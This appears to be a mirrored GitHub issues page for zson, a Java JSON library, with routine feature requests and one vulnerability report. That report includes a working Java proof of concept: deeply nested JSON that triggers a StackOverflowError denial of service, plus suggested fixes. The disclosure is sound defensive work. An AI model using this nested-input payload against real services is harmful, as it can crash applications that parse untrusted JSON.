zeoflow / zson Goto Github PK

View Code? Open in Web Editor NEW

16.0 3.0 9.0 611 KB

A Java serialization/deserialization library - convert Java Objects easier into JSON and back

License: Apache License 2.0

Java 100.00%

zeoflow-library zeoflow deserialization-library java-serialization zson

zson's People

Contributors

Stargazers

Watchers

Forkers

connectionmaster tessjohn02 andychereffa sofiadenis125 pittayabuakhaw campbellvredenburch

zson's Issues

Easy function to convert class to another

Full source code of converting a class to another

Zson gson = new Zson();
String tmp = zson.toJson(a);
CopyA myObject = zson.fromJson(tmp,CopyA.class);

Source code of the feature

    public Object convertToAnotherClass(Object oldObject) {
        Zson zson = new Zson();
        String tmp = zson.toJson(oldObject);
        return zson.fromJson(tmp, Object.class);
    }

Json getAllAtributes

Create a method that retrieves all the attributes from the Json:

JsonObject jsonObject = new Zson().fromJson(new Zson().toJson(bundle), JsonObject.class);
            JsonElement element = JsonParser.parseString(new Zson().toJson(bundle));
            JsonObject obj = element.getAsJsonObject(); //since you know it's a JsonObject
            Set<Map.Entry<String, JsonElement>> entries = obj.entrySet();//will return members of your object
            for (Map.Entry<String, JsonElement> entry: entries) {
                System.out.println(entry.getKey());
            }

Migrate to Java 11

Is your feature request related to a problem? Please describe.
Migrate to Java 11 and upgrade to gradle 7.0

We also happily accept pull requests.

Stack overflow error caused by Zson parsing of untrusted JSON String

Description

Using Zson to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at com.zeoflow.zson.stream.JsonReader.doPeek(JsonReader.java:495)
	at com.zeoflow.zson.stream.JsonReader.hasNext(JsonReader.java:415)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:69)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)
	at com.zeoflow.zson.internal.bind.ObjectTypeAdapter.read(ObjectTypeAdapter.java:70)

PoC

        <dependency>
            <groupId>com.zeoflow</groupId>
            <artifactId>zson</artifactId>
            <version>1.3.0</version>
        </dependency>

import com.zeoflow.zson.Zson;

public class PoC {
    public final static String TOO_DEEP_Object = "{" + _nestedDoc(10000, "\"a\": { ", "} ", "1") + "}";
    public final static String TOO_DEEP_Array = _nestedDoc(10000, "[ ", "] ", "1");

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        Zson zson = new Zson();
        // vul 1
        zson.fromJson(TOO_DEEP_Array, Object.class);
        // vul 2
        zson.fromJson(TOO_DEEP_Object, Object.class);
    }
}

Rectification Solution

Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)
Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)

Zson is shared as an android library

It can simply be shared as a java-library.

NDK Version collides with other versions

Description: NDK Version collides with other versions

To help us triage faster, please check to make sure you are using the latest version of the library.

We also happily accept pull requests.

Make enums serialised

Description: Enums are not kept with proguard active

To help us triage faster, please check to make sure you are using the latest version of the library.

We also happily accept pull requests.

Deserialization Handling

Is your feature request related to a problem? Please describe.
deserialization null handling

We also happily accept pull requests.

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.